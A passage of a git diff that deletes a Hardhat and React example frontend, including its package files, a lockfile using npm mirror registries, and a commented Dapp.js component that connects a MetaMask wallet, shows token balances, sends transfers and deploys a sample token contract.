-          "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
-          "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
-          "requires": {
-            "emoji-regex": "^7.0.1",
-            "is-fullwidth-code-point": "^2.0.0",
-            "strip-ansi": "^5.1.0"
-          }
-        }
-      }
-    },
-    "yargs-parser": {
-      "version": "13.1.2",
-      "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
-      "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
-      "requires": {
-        "camelcase": "^5.0.0",
-        "decamelize": "^1.2.0"
-      }
-    }
-  }
-}
diff --git a/Example09-hardhat-react/frontend/package.json b/Example09-hardhat-react/frontend/package.json
deleted file mode 100644
index 5541db7e4..000000000
--- a/Example09-hardhat-react/frontend/package.json
+++ /dev/null
@@ -1,35 +0,0 @@
-{
-  "name": "frontend",
-  "version": "0.1.0",
-  "private": true,
-  "dependencies": {
-    "@testing-library/jest-dom": "^4.2.4",
-    "@testing-library/react": "^9.5.0",
-    "@testing-library/user-event": "^7.2.1",
-    "bootstrap": "^4.4.1",
-    "react": "^16.13.1",
-    "react-dom": "^16.13.1",
-    "react-scripts": "3.4.1"
-  },
-  "scripts": {
-    "start": "react-scripts start",
-    "build": "react-scripts build",
-    "test": "react-scripts test",
-    "eject": "react-scripts eject"
-  },
-  "eslintConfig": {
-    "extends": "react-app"
-  },
-  "browserslist": {
-    "production": [
-      ">0.2%",
-      "not dead",
-      "not op_mini all"
-    ],
-    "development": [
-      "last 1 chrome version",
-      "last 1 firefox version",
-      "last 1 safari version"
-    ]
-  }
-}
diff --git a/Example09-hardhat-react/frontend/src/components/Dapp.js b/Example09-hardhat-react/frontend/src/components/Dapp.js
deleted file mode 100644
index 9b440cdda..000000000
--- a/Example09-hardhat-react/frontend/src/components/Dapp.js
+++ /dev/null
@@ -1,401 +0,0 @@
-import React from 'react'
-
-// We'll use ethers to interact with the Ethereum network and our contract
-import { ethers } from 'ethers'
-
-// We import the contract's artifacts and address here, as we are going to be
-// using them with ethers
-import simpleTokenArtifact from '../contracts/SimpleToken.json'
-import contractAddress from '../contracts/contract-address.json'
-import deployerAccount from '../contracts/deployer.json'
-
-// All the logic of this dapp is contained in the Dapp component.
-// These other components are just presentational ones: they don't have any
-// logic. They just render HTML.
-import { NoWalletDetected } from './NoWalletDetected'
-import { ConnectWallet } from './ConnectWallet'
-import { Loading } from './Loading'
-import { Transfer } from './Transfer'
-import { TransactionErrorMessage } from './TransactionErrorMessage'
-import { WaitingForTransactionMessage } from './WaitingForTransactionMessage'
-import { NoTokensMessage } from './NoTokensMessage'
-
-// This is the Hardhat Network id, you might change it in the hardhat.config.js
-// Here's a list of network ids https://docs.metamask.io/guide/ethereum-provider.html#properties
-// to use when deploying to other networks.
-const HARDHAT_NETWORK_ID = '42'
-
-// This is an error code that indicates that the user canceled a transaction
-const ERROR_CODE_TX_REJECTED_BY_USER = 4001
-
-// get the SimpleToken contract address
-let simpleTokenContractAddress = contractAddress.contractAddress
-
-//get the contract deployer
-const contractDeployer = deployerAccount.deployer
-
-// This component is in charge of doing these things:
-//   1. It connects to the user's wallet
-//   2. Initializes ethers and the Token contract
-//   3. Polls the user balance to keep it updated.
-//   4. Transfers tokens by sending transactions
-//   5. Renders the whole application
-//
-// Note that (3) and (4) are specific of this sample application, but they show
-// you how to keep your Dapp and contract's state in sync,  and how to send a
-// transaction.
-export class Dapp extends React.Component {
-  constructor(props) {
-    super(props)
-
-    // We store multiple things in Dapp's state.
-    // You don't need to follow this pattern, but it's an useful example.
-    this.initialState = {
-      // The info of the token (i.e. It's Name and symbol)
-      tokenData: undefined,
-      // The user's address and balance
-      selectedAddress: undefined,
-      balance: undefined,
-      // The ID about transactions being sent, and any possible error with them
-      txBeingSent: undefined,
-      deployBegin: undefined,
-      transactionError: undefined,
-      networkError: undefined,
-    }
-
-    this.state = this.initialState
-  }
-
-  render() {
-    // Ethereum wallets inject the window.ethereum object. If it hasn't been
-    // injected, we instruct the user to install MetaMask.
-    if (window.ethereum === undefined) {
-      return <NoWalletDetected />
-    }
-
-    // The next thing we need to do, is to ask the user to connect their wallet.
-    // When the wallet gets connected, we are going to save the users's address
-    // in the component's state. So, if it hasn't been saved yet, we have
-    // to show the ConnectWallet component.
-    //
-    // Note that we pass it a callback that is going to be called when the user
-    // clicks a button. This callback just calls the _connectWallet method.
-    if (!this.state.selectedAddress) {
-      return (
-        <ConnectWallet
-          connectWallet={() => this._connectWallet()}
-          networkError={this.state.networkError}
-          dismiss={() => this._dismissNetworkError()}
-        />
-      )
-    }
-
-    // If the token data or the user's balance hasn't loaded yet, we show
-    // a loading component.
-    if (!this.state.tokenData || !this.state.balance) {
-      return <Loading />
-    }
-
-    // If everything is loaded, we render the application.
-    return (
-      <div className="container p-4">
-        <div className="row">
-          <div className="col-12">
-            <h1>
-              {this.state.tokenData.name} ({this.state.tokenData.symbol})
-            </h1>
-            <p>
-              Welcome <b>{this.state.selectedAddress}</b>, you have{' '}
-              <b>
-                {this.state.balance.toString()} {this.state.tokenData.symbol}
-              </b>
-              .
-            </p>
-          </div>
-        </div>
-
-        <hr />
-
-        <div className="row">
-          <div className="col-12">
-            {/* 
-              Sending a transaction isn't an immidiate action. You have to wait
-              for it to be mined.
-              If we are waiting for one, we show a message here.
-            */}
-            {this.state.txBeingSent && (
-              <WaitingForTransactionMessage txHash={this.state.txBeingSent} />
-            )}
-
-            {/* 
-              Sending a transaction can fail in multiple ways. 
-              If that happened, we show a message here.
-            */}
-            {this.state.transactionError && (
-              <TransactionErrorMessage
-                message={this._getRpcErrorMessage(this.state.transactionError)}
-                dismiss={() => this._dismissTransactionError()}
-              />
-            )}
-          </div>
-        </div>
-
-        <div className="row">
-          <div className="col-12">
-            {/*
-              If the user has no tokens, we don't show the Tranfer form
-            */}
-            {this.state.balance.eq(0) && (
-              <NoTokensMessage deployContract={() => this._deployContract()} />
-            )}
-            {this.state.deployBegin && <Loading />}
-
-            {/*
-              This component displays a form that the user can use to send a 
-              transaction and transfer some tokens.
-              The component doesn't have logic, it just calls the transferTokens
-              callback.
-            */}
-            {this.state.balance.gt(0) && (
-              <Transfer
-                transferTokens={(to, amount) =>
-                  this._transferTokens(to, amount)
-                }
-              />
-            )}
-          </div>
-        </div>
-      </div>
-    )
-  }
-
-  componentWillUnmount() {
-    // We poll the user's balance, so we have to stop doing that when Dapp
-    // gets unmounted
-    this._stopPollingData()
-  }
-
-  async _connectWallet() {
-    // This method is run when the user clicks the Connect. It connects the
-    // dapp to the user's wallet, and initializes it.
-
-    // To connect to the user's wallet, we have to run this method.
-    // It returns a promise that will resolve to the user's address.
-    const [selectedAddress] = await window.ethereum.enable()
-
-    // Once we have the address, we can initialize the application.
-
-    // First we check the network
-    if (!this._checkNetwork()) {
-      return
-    }
-
-    this._initialize(selectedAddress)
-
-    // We reinitialize it whenever the user changes their account.
-    window.ethereum.on('accountsChanged', ([newAddress]) => {
-      this._stopPollingData()
-      // `accountsChanged` event can be triggered with an undefined newAddress.
-      // This happens when the user removes the Dapp from the "Connected
-      // list of sites allowed access to your addresses" (Metamask > Settings > Connections)
-      // To avoid errors, we reset the dapp state
-      if (newAddress === undefined) {
-        return this._resetState()
-      }
-
-      this._initialize(newAddress)
-    })
-
-    // We reset the dapp state if the network is changed
-    window.ethereum.on('networkChanged', ([networkId]) => {
-      this._stopPollingData()
-      this._resetState()
-    })
-  }
-
-  _initialize(userAddress) {
-    // This method initializes the dapp
-
-    // We first store the user's address in the component's state
-    this.setState({
-      selectedAddress: userAddress,
-    })
-
-    // Then, we initialize ethers, fetch the token's data, and start polling
-    // for the user's balance.
-
-    // Fetching the token data and the user's balance are specific to this
-    // sample project, but you can reuse the same initialization pattern.
-    this._intializeEthers()
-    this._getTokenData()
-    this._startPollingData()
-  }
-
-  async _intializeEthers() {
-    // We first initialize ethers by creating a provider using window.ethereum
-    this._provider = new ethers.providers.Web3Provider(window.ethereum)
-
-    // When, we initialize the contract using that provider and the token's
-    // artifact. You can do this same thing with your contracts.
-    this._simpleToken = new ethers.Contract(
-      simpleTokenContractAddress,
-      simpleTokenArtifact.abi,
-      this._provider.getSigner(0)
-    )
-  }
-
-  // The next to methods are needed to start and stop polling data. While
-  // the data being polled here is specific to this example, you can use this
-  // pattern to read any data from your contracts.
-  //
-  // Note that if you don't need it to update in near real time, you probably
-  // don't need to poll it. If that's the case, you can just fetch it when you
-  // initialize the app, as we do with the token data.
-  _startPollingData() {
-    this._pollDataInterval = setInterval(() => this._updateBalance(), 1000)
-
-    // We run it once immediately so we don't have to wait for it
-    this._updateBalance()
-  }
-
-  _stopPollingData() {
-    clearInterval(this._pollDataInterval)
-    this._pollDataInterval = undefined
-  }
-
-  // The next two methods just read from the contract and store the results
-  // in the component state.
-  async _getTokenData() {
-    const name = await this._simpleToken.name()
-    const symbol = await this._simpleToken.symbol()
-
-    this.setState({ tokenData: { name, symbol } })
-  }
-
-  async _updateBalance() {
-    const balance = await this._simpleToken.balanceOf(
-      this.state.selectedAddress
-    )
-    this.setState({ balance })
-  }
-
-  // This method sends an ethereum transaction to transfer tokens.
-  // While this action is specific to this application, it illustrates how to
-  // send a transaction.
-  async _transferTokens(to, amount) {
-    // Sending a transaction is a complex operation:
-    //   - The user can reject it
-    //   - It can fail before reaching the ethereum network (i.e. if the user
-    //     doesn't have ETH for paying for the tx's gas)
-    //   - It has to be mined, so it isn't immediately confirmed.
-    //     Note that some testing networks, like Hardhat Network, do mine
-    //     transactions immediately, but your dapp should be prepared for
-    //     other networks.
-    //   - It can fail once mined.
-    //
-    // This method handles all of those things, so keep reading to learn how to
-    // do it.
-
-    try {
-      // If a transaction fails, we save that error in the component's state.
-      // We only save one such error, so before sending a second transaction, we
-      // clear it.
-      this._dismissTransactionError()
-
-      // We send the transaction, and save its hash in the Dapp's state. This
-      // way we can indicate that we are waiting for it to be mined.
-      const tx = await this._simpleToken.transfer(to, amount)
-      this.setState({ txBeingSent: tx.hash })
-
-      // We use .wait() to wait for the transaction to be mined. This method
-      // returns the transaction's receipt.
-      const receipt = await tx.wait()
-
-      // The receipt, contains a status flag, which is 0 to indicate an error.
-      if (receipt.status === 0) {
-        // We can't know the exact error that make the transaction fail once it
-        // was mined, so we throw this generic one.
-        throw new Error('Transaction failed')
-      }
-
-      // If we got here, the transaction was successful, so you may want to
-      // update your state. Here, we update the user's balance.
-      await this._updateBalance()
-    } catch (error) {
-      // We check the error code to see if this error was produced because the
-      // user rejected a tx. If that's the case, we do nothing.
-      if (error.code === ERROR_CODE_TX_REJECTED_BY_USER) {
-        return
-      }
-
-      // Other errors are logged and stored in the Dapp's state. This is used to
-      // show them to the user, and for debugging.
-      console.error(error)
-      this.setState({ transactionError: error })
-    } finally {
-      // If we leave the try/catch, we aren't sending a tx anymore, so we clear
-      // this part of the state.
-      this.setState({ txBeingSent: undefined })
-    }
-  }
-
-  // This method just clears part of the state.
-  _dismissTransactionError() {
-    this.setState({ transactionError: undefined })
-  }
-
-  // This method just clears part of the state.
-  _dismissNetworkError() {
-    this.setState({ networkError: undefined })
-  }
-
-  // This is an utility method that turns an RPC error into a human readable
-  // message.
-  _getRpcErrorMessage(error) {
-    if (error.data) {
-      return error.data.message
-    }
-
-    return error.message
-  }
-
-  // This method resets the state
-  _resetState() {
-    this.setState(this.initialState)
-  }
-
-  // This method checks if Metamask selected network is Localhost:8545
-  _checkNetwork() {
-    if (window.ethereum.networkVersion === HARDHAT_NETWORK_ID) {
-      return true
-    }
-
-    this.setState({
-      networkError: 'Please connect Metamask to kovan',
-    })
-
-    return false
-  }
-
-  async _deployContract() {
-    this.setState({ deployBegin: true })
-    let simpleTokenContractFactory = new ethers.ContractFactory(
-      simpleTokenArtifact.abi,
-      simpleTokenArtifact.bytecode,
-      this._provider.getSigner(0)
-    )
-
-    let simpleTokenContract = await simpleTokenContractFactory.deploy(
-      'hello',
-      'Dapp',
-      1,
-      100000000
-    )
-    await simpleTokenContract.deployed()
-
-    simpleTokenContractAddress = simpleTokenContract.address
-    await this._intializeEthers()
-
-    this.setState({ deployBegin: undefined })
-  }
-}
diff --git a/Example09-hardhat-react/frontend/yarn.lock b/Example09-hardhat-react/frontend/yarn.lock
deleted file mode 100644
index 1db7e0787..000000000
--- a/Example09-hardhat-react/frontend/yarn.lock
+++ /dev/null
@@ -1,11229 +0,0 @@
-# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
-# yarn lockfile v1
-
-
-"@babel/code-frame@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.nlark.com/@babel/code-frame/download/@babel/code-frame-7.8.3.tgz#33e25903d7481181534e12ec0a25f16b6fcf419e"
-  integrity sha1-M+JZA9dIEYFTThLsCiXxa2/PQZ4=
-  dependencies:
-    "@babel/highlight" "^7.8.3"
-
-"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.4", "@babel/code-frame@^7.12.13", "@babel/code-frame@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/code-frame/download/@babel/code-frame-7.12.13.tgz#dcfc826beef65e75c50e21d3837d7d95798dd658"
-  integrity sha1-3PyCa+72XnXFDiHTg319lXmN1lg=
-  dependencies:
-    "@babel/highlight" "^7.12.13"
-
-"@babel/compat-data@^7.13.11", "@babel/compat-data@^7.14.4", "@babel/compat-data@^7.9.0":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/compat-data/download/@babel/compat-data-7.14.4.tgz?cache=0&sync_timestamp=1622221249104&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fcompat-data%2Fdownload%2F%40babel%2Fcompat-data-7.14.4.tgz#45720fe0cecf3fd42019e1d12cc3d27fadc98d58"
-  integrity sha1-RXIP4M7PP9QgGeHRLMPSf63JjVg=
-
-"@babel/core@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.nlark.com/@babel/core/download/@babel/core-7.9.0.tgz#ac977b538b77e132ff706f3b8a4dbad09c03c56e"
-  integrity sha1-rJd7U4t34TL/cG87ik260JwDxW4=
-  dependencies:
-    "@babel/code-frame" "^7.8.3"
-    "@babel/generator" "^7.9.0"
-    "@babel/helper-module-transforms" "^7.9.0"
-    "@babel/helpers" "^7.9.0"
-    "@babel/parser" "^7.9.0"
-    "@babel/template" "^7.8.6"
-    "@babel/traverse" "^7.9.0"
-    "@babel/types" "^7.9.0"
-    convert-source-map "^1.7.0"
-    debug "^4.1.0"
-    gensync "^1.0.0-beta.1"
-    json5 "^2.1.2"
-    lodash "^4.17.13"
-    resolve "^1.3.2"
-    semver "^5.4.1"
-    source-map "^0.5.0"
-
-"@babel/core@^7.1.0", "@babel/core@^7.4.5":
-  version "7.14.3"
-  resolved "https://registry.nlark.com/@babel/core/download/@babel/core-7.14.3.tgz#5395e30405f0776067fbd9cf0884f15bfb770a38"
-  integrity sha1-U5XjBAXwd2Bn+9nPCITxW/t3Cjg=
-  dependencies:
-    "@babel/code-frame" "^7.12.13"
-    "@babel/generator" "^7.14.3"
-    "@babel/helper-compilation-targets" "^7.13.16"
-    "@babel/helper-module-transforms" "^7.14.2"
-    "@babel/helpers" "^7.14.0"
-    "@babel/parser" "^7.14.3"
-    "@babel/template" "^7.12.13"
-    "@babel/traverse" "^7.14.2"
-    "@babel/types" "^7.14.2"
-    convert-source-map "^1.7.0"
-    debug "^4.1.0"
-    gensync "^1.0.0-beta.2"
-    json5 "^2.1.2"
-    semver "^6.3.0"
-    source-map "^0.5.0"
-
-"@babel/generator@^7.14.2", "@babel/generator@^7.14.3", "@babel/generator@^7.4.0", "@babel/generator@^7.9.0":
-  version "7.14.3"
-  resolved "https://registry.nlark.com/@babel/generator/download/@babel/generator-7.14.3.tgz?cache=0&sync_timestamp=1621284707515&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fgenerator%2Fdownload%2F%40babel%2Fgenerator-7.14.3.tgz#0c2652d91f7bddab7cccc6ba8157e4f40dcedb91"
-  integrity sha1-DCZS2R973at8zMa6gVfk9A3O25E=
-  dependencies:
-    "@babel/types" "^7.14.2"
-    jsesc "^2.5.1"
-    source-map "^0.5.0"
-
-"@babel/helper-annotate-as-pure@^7.10.4", "@babel/helper-annotate-as-pure@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/helper-annotate-as-pure/download/@babel/helper-annotate-as-pure-7.12.13.tgz?cache=0&sync_timestamp=1612314684390&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-annotate-as-pure%2Fdownload%2F%40babel%2Fhelper-annotate-as-pure-7.12.13.tgz#0f58e86dfc4bb3b1fcd7db806570e177d439b6ab"
-  integrity sha1-D1jobfxLs7H819uAZXDhd9Q5tqs=
-  dependencies:
-    "@babel/types" "^7.12.13"
-
-"@babel/helper-builder-binary-assignment-operator-visitor@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/helper-builder-binary-assignment-operator-visitor/download/@babel/helper-builder-binary-assignment-operator-visitor-7.12.13.tgz#6bc20361c88b0a74d05137a65cac8d3cbf6f61fc"
-  integrity sha1-a8IDYciLCnTQUTemXKyNPL9vYfw=
-  dependencies:
-    "@babel/helper-explode-assignable-expression" "^7.12.13"
-    "@babel/types" "^7.12.13"
-
-"@babel/helper-compilation-targets@^7.13.0", "@babel/helper-compilation-targets@^7.13.16", "@babel/helper-compilation-targets@^7.14.4", "@babel/helper-compilation-targets@^7.8.7":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/helper-compilation-targets/download/@babel/helper-compilation-targets-7.14.4.tgz?cache=0&sync_timestamp=1622221254097&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-compilation-targets%2Fdownload%2F%40babel%2Fhelper-compilation-targets-7.14.4.tgz#33ebd0ffc34248051ee2089350a929ab02f2a516"
-  integrity sha1-M+vQ/8NCSAUe4giTUKkpqwLypRY=
-  dependencies:
-    "@babel/compat-data" "^7.14.4"
-    "@babel/helper-validator-option" "^7.12.17"
-    browserslist "^4.16.6"
-    semver "^6.3.0"
-
-"@babel/helper-create-class-features-plugin@^7.13.0", "@babel/helper-create-class-features-plugin@^7.14.0", "@babel/helper-create-class-features-plugin@^7.14.3", "@babel/helper-create-class-features-plugin@^7.14.4", "@babel/helper-create-class-features-plugin@^7.8.3":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/helper-create-class-features-plugin/download/@babel/helper-create-class-features-plugin-7.14.4.tgz#abf888d836a441abee783c75229279748705dc42"
-  integrity sha1-q/iI2DakQavueDx1IpJ5dIcF3EI=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    "@babel/helper-function-name" "^7.14.2"
-    "@babel/helper-member-expression-to-functions" "^7.13.12"
-    "@babel/helper-optimise-call-expression" "^7.12.13"
-    "@babel/helper-replace-supers" "^7.14.4"
-    "@babel/helper-split-export-declaration" "^7.12.13"
-
-"@babel/helper-create-regexp-features-plugin@^7.12.13":
-  version "7.14.3"
-  resolved "https://registry.nlark.com/@babel/helper-create-regexp-features-plugin/download/@babel/helper-create-regexp-features-plugin-7.14.3.tgz?cache=0&sync_timestamp=1621284706846&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-create-regexp-features-plugin%2Fdownload%2F%40babel%2Fhelper-create-regexp-features-plugin-7.14.3.tgz#149aa6d78c016e318c43e2409a0ae9c136a86688"
-  integrity sha1-FJqm14wBbjGMQ+JAmgrpwTaoZog=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    regexpu-core "^4.7.1"
-
-"@babel/helper-define-polyfill-provider@^0.2.2":
-  version "0.2.3"
-  resolved "https://registry.nlark.com/@babel/helper-define-polyfill-provider/download/@babel/helper-define-polyfill-provider-0.2.3.tgz?cache=0&sync_timestamp=1622025470416&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-define-polyfill-provider%2Fdownload%2F%40babel%2Fhelper-define-polyfill-provider-0.2.3.tgz#0525edec5094653a282688d34d846e4c75e9c0b6"
-  integrity sha1-BSXt7FCUZTooJojTTYRuTHXpwLY=
-  dependencies:
-    "@babel/helper-compilation-targets" "^7.13.0"
-    "@babel/helper-module-imports" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/traverse" "^7.13.0"
-    debug "^4.1.1"
-    lodash.debounce "^4.0.8"
-    resolve "^1.14.2"
-    semver "^6.1.2"
-
-"@babel/helper-explode-assignable-expression@^7.12.13":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/helper-explode-assignable-expression/download/@babel/helper-explode-assignable-expression-7.13.0.tgz?cache=0&sync_timestamp=1614034233759&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-explode-assignable-expression%2Fdownload%2F%40babel%2Fhelper-explode-assignable-expression-7.13.0.tgz#17b5c59ff473d9f956f40ef570cf3a76ca12657f"
-  integrity sha1-F7XFn/Rz2flW9A71cM86dsoSZX8=
-  dependencies:
-    "@babel/types" "^7.13.0"
-
-"@babel/helper-function-name@^7.12.13", "@babel/helper-function-name@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/helper-function-name/download/@babel/helper-function-name-7.14.2.tgz?cache=0&sync_timestamp=1620839396154&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-function-name%2Fdownload%2F%40babel%2Fhelper-function-name-7.14.2.tgz#397688b590760b6ef7725b5f0860c82427ebaac2"
-  integrity sha1-OXaItZB2C273cltfCGDIJCfrqsI=
-  dependencies:
-    "@babel/helper-get-function-arity" "^7.12.13"
-    "@babel/template" "^7.12.13"
-    "@babel/types" "^7.14.2"
-
-"@babel/helper-get-function-arity@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/helper-get-function-arity/download/@babel/helper-get-function-arity-7.12.13.tgz?cache=0&sync_timestamp=1612314652298&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-get-function-arity%2Fdownload%2F%40babel%2Fhelper-get-function-arity-7.12.13.tgz#bc63451d403a3b3082b97e1d8b3fe5bd4091e583"
-  integrity sha1-vGNFHUA6OzCCuX4diz/lvUCR5YM=
-  dependencies:
-    "@babel/types" "^7.12.13"
-
-"@babel/helper-hoist-variables@^7.13.0":
-  version "7.13.16"
-  resolved "https://registry.nlark.com/@babel/helper-hoist-variables/download/@babel/helper-hoist-variables-7.13.16.tgz#1b1651249e94b51f8f0d33439843e33e39775b30"
-  integrity sha1-GxZRJJ6UtR+PDTNDmEPjPjl3WzA=
-  dependencies:
-    "@babel/traverse" "^7.13.15"
-    "@babel/types" "^7.13.16"
-
-"@babel/helper-member-expression-to-functions@^7.13.12":
-  version "7.13.12"
-  resolved "https://registry.npm.taobao.org/@babel/helper-member-expression-to-functions/download/@babel/helper-member-expression-to-functions-7.13.12.tgz?cache=0&sync_timestamp=1616428111276&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-member-expression-to-functions%2Fdownload%2F%40babel%2Fhelper-member-expression-to-functions-7.13.12.tgz#dfe368f26d426a07299d8d6513821768216e6d72"
-  integrity sha1-3+No8m1CagcpnY1lE4IXaCFubXI=
-  dependencies:
-    "@babel/types" "^7.13.12"
-
-"@babel/helper-module-imports@^7.12.13", "@babel/helper-module-imports@^7.13.12", "@babel/helper-module-imports@^7.8.3":
-  version "7.13.12"
-  resolved "https://registry.nlark.com/@babel/helper-module-imports/download/@babel/helper-module-imports-7.13.12.tgz?cache=0&sync_timestamp=1618846791460&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-module-imports%2Fdownload%2F%40babel%2Fhelper-module-imports-7.13.12.tgz#c6a369a6f3621cb25da014078684da9196b61977"
-  integrity sha1-xqNppvNiHLJdoBQHhoTakZa2GXc=
-  dependencies:
-    "@babel/types" "^7.13.12"
-
-"@babel/helper-module-transforms@^7.13.0", "@babel/helper-module-transforms@^7.14.0", "@babel/helper-module-transforms@^7.14.2", "@babel/helper-module-transforms@^7.9.0":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/helper-module-transforms/download/@babel/helper-module-transforms-7.14.2.tgz?cache=0&sync_timestamp=1620839398699&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-module-transforms%2Fdownload%2F%40babel%2Fhelper-module-transforms-7.14.2.tgz#ac1cc30ee47b945e3e0c4db12fa0c5389509dfe5"
-  integrity sha1-rBzDDuR7lF4+DE2xL6DFOJUJ3+U=
-  dependencies:
-    "@babel/helper-module-imports" "^7.13.12"
-    "@babel/helper-replace-supers" "^7.13.12"
-    "@babel/helper-simple-access" "^7.13.12"
-    "@babel/helper-split-export-declaration" "^7.12.13"
-    "@babel/helper-validator-identifier" "^7.14.0"
-    "@babel/template" "^7.12.13"
-    "@babel/traverse" "^7.14.2"
-    "@babel/types" "^7.14.2"
-
-"@babel/helper-optimise-call-expression@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/helper-optimise-call-expression/download/@babel/helper-optimise-call-expression-7.12.13.tgz?cache=0&sync_timestamp=1612314687212&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-optimise-call-expression%2Fdownload%2F%40babel%2Fhelper-optimise-call-expression-7.12.13.tgz#5c02d171b4c8615b1e7163f888c1c81c30a2aaea"
-  integrity sha1-XALRcbTIYVsecWP4iMHIHDCiquo=
-  dependencies:
-    "@babel/types" "^7.12.13"
-
-"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.13.0", "@babel/helper-plugin-utils@^7.8.0", "@babel/helper-plugin-utils@^7.8.3":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/helper-plugin-utils/download/@babel/helper-plugin-utils-7.13.0.tgz#806526ce125aed03373bc416a828321e3a6a33af"
-  integrity sha1-gGUmzhJa7QM3O8QWqCgyHjpqM68=
-
-"@babel/helper-remap-async-to-generator@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.nlark.com/@babel/helper-remap-async-to-generator/download/@babel/helper-remap-async-to-generator-7.13.0.tgz#376a760d9f7b4b2077a9dd05aa9c3927cadb2209"
-  integrity sha1-N2p2DZ97SyB3qd0Fqpw5J8rbIgk=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    "@babel/helper-wrap-function" "^7.13.0"
-    "@babel/types" "^7.13.0"
-
-"@babel/helper-replace-supers@^7.12.13", "@babel/helper-replace-supers@^7.13.12", "@babel/helper-replace-supers@^7.14.4":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/helper-replace-supers/download/@babel/helper-replace-supers-7.14.4.tgz?cache=0&sync_timestamp=1622221254092&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-replace-supers%2Fdownload%2F%40babel%2Fhelper-replace-supers-7.14.4.tgz#b2ab16875deecfff3ddfcd539bc315f72998d836"
-  integrity sha1-sqsWh13uz/89381Tm8MV9ymY2DY=
-  dependencies:
-    "@babel/helper-member-expression-to-functions" "^7.13.12"
-    "@babel/helper-optimise-call-expression" "^7.12.13"
-    "@babel/traverse" "^7.14.2"
-    "@babel/types" "^7.14.4"
-
-"@babel/helper-simple-access@^7.13.12":
-  version "7.13.12"
-  resolved "https://registry.npm.taobao.org/@babel/helper-simple-access/download/@babel/helper-simple-access-7.13.12.tgz?cache=0&sync_timestamp=1616428063009&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-simple-access%2Fdownload%2F%40babel%2Fhelper-simple-access-7.13.12.tgz#dd6c538afb61819d205a012c31792a39c7a5eaf6"
-  integrity sha1-3WxTivthgZ0gWgEsMXkqOcel6vY=
-  dependencies:
-    "@babel/types" "^7.13.12"
-
-"@babel/helper-skip-transparent-expression-wrappers@^7.12.1":
-  version "7.12.1"
-  resolved "https://registry.npm.taobao.org/@babel/helper-skip-transparent-expression-wrappers/download/@babel/helper-skip-transparent-expression-wrappers-7.12.1.tgz#462dc63a7e435ade8468385c63d2b84cce4b3cbf"
-  integrity sha1-Ri3GOn5DWt6EaDhcY9K4TM5LPL8=
-  dependencies:
-    "@babel/types" "^7.12.1"
-
-"@babel/helper-split-export-declaration@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/helper-split-export-declaration/download/@babel/helper-split-export-declaration-7.12.13.tgz?cache=0&sync_timestamp=1612314686094&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-split-export-declaration%2Fdownload%2F%40babel%2Fhelper-split-export-declaration-7.12.13.tgz#e9430be00baf3e88b0e13e6f9d4eaf2136372b05"
-  integrity sha1-6UML4AuvPoiw4T5vnU6vITY3KwU=
-  dependencies:
-    "@babel/types" "^7.12.13"
-
-"@babel/helper-validator-identifier@^7.12.11", "@babel/helper-validator-identifier@^7.14.0":
-  version "7.14.0"
